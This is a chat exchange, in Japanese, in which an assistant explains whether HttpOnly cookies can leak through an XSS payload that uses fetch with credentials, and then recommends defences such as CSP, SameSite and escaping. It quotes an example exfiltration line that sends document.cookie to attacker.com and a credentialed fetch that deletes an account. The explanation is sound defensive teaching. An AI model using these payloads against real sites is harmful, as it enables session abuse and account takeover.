Prompt
Fetch入りのXSSで、credential入りのリクエストを飛ばしたら、httponlyのcookieでも外部に漏れる?
結論から言うと、HttpOnly属性がついているCookieそのものは、たとえXSS(JavaScriptの実行)を食らっても、外部に漏洩(盗み出し)されることはありません。
しかし、セキュリティ的な意味で「安全か」と言われると、「Cookieの中身は見られないけれど、Cookieの権限を悪用して『あなたになりすます』ことは完全に可能」 という、非常に危険な状態になります。
情報工学的な仕組みと、「漏れる・漏れない」の境界線を解剖しよう。
1. なぜ HttpOnly Cookie は「盗めない」のか?
HttpOnly属性は、ブラウザのJavaScriptエンジンに対して 「このCookieには document.cookie からアクセスさせるな」 と命令するガードレールです。
-
XSSによる攻撃: 攻撃者が
fetch('https://attacker.com/?cookie=' + document.cookie)を実行する。 -
結果: HttpOnly Cookie は
document.cookieのリストに含まれないため、攻撃者のサーバーには届きません。 -
結論: Cookieの「文字列」そのものを盗むことは不可能です。
2. 恐ろしい事実:Cookie が「使われてしまう」罠
ここで君が言及した 「credentials 入りの fetch」 が鍵になります。
Cookieを「盗む」必要すらなく、「あなたのブラウザに、あなたの代わりにリクエストを打たせる」 ことができてしまうんです。
-
攻撃の手順:
-
攻撃者がXSSを仕込み、あなたのブラウザ上で
fetch('/api/delete-account', { credentials: 'include' })を実行させる。 -
ブラウザは「あ、同じドメインへのリクエストだね。Cookie(HttpOnly含む)を自動で添付するよ」と親切に処理する。
-
サーバーは、届いた有効なCookieを見て「本人からの正当なリクエストだ」と判断し、処理を実行する。
-
これは XSS経由のCSRF(厳密にはXSSによるセッション乗っ取りの一種) と呼ばれる状態で、Cookieの中身がバレていなくても、「あなたのアカウントで行えるすべての操作」 が外部からコントロールされてしまいます。
3. 「外部に漏れる」可能性があるケース
唯一、HttpOnly Cookie の「情報」が間接的に外部へ漏れる(あるいは悪用される)特殊なケースがあります。
-
TRC (Trace) メソッドの悪用:
もしサーバーが
TRACEメソッドを許可している場合、攻撃者がfetchでTRACEリクエストを送ると、サーバーは受け取ったヘッダー(Cookie含む)をそのままレスポンスボディとして返してしまうことがあります。これをJavaScriptで読み取れば、HttpOnlyの意味がなくなります。(※現代のブラウザやサーバーでは対策が進んでいますが、古い環境では脆弱です)
-
デバッグ情報の漏洩:
サーバーがエラー時に「リクエストヘッダーをすべて表示する」ようなデバッグ画面を返してしまう場合、その画面の内容をXSSで読み取ることで、Cookieが盗まれる可能性があります。
4. 防御策としての SSOT と型安全な設計
君の「属人性を排した対策」のスタイルに当てはめるなら、以下の多層防御を物理的に組み込むべきです。
-
CSP (Content Security Policy):
connect-srcを設定し、許可したドメイン以外へのfetchをブラウザレベルで禁止する。 -
SameSite属性:
SameSite=LaxまたはStrictを設定し、他サイトからのリクエストにCookieが乗らないようにする(CSRF対策)。 -
Anti-XSSの徹底: React/Next.js のように、デフォルトで文字列をエスケープするフレームワークを使い、
dangerouslySetInnerHTMLを「型」で禁止する(リンター等で)。
まとめ
-
Cookieそのもの: 盗めない(HttpOnlyが守ってくれる)。
-
Cookieの権限: 盗める(悪用できる)。 攻撃者はあなたのブラウザをリモコンのように操作して、勝手に重要なリクエストを飛ばせます。
次のステップ
「Cookieを盗ませない」のは最低限の守備で、「XSSを絶対に起こさせない(あるいは起きても被害を広げない)」のが攻めのセキュリティだね。
次は、「Next.js で XSS を物理的に不可能にするための CSP ヘッダーの最強設定」 をやってみる?それとも、「Cookie ではなく Web Storage (LocalStorage) にトークンを置くのがなぜセキュリティ的に議論の的になるのか」 について深掘りしてみる?
Would you like me to provide a sample middleware for Next.js that automatically injects a strict Content Security Policy into every response?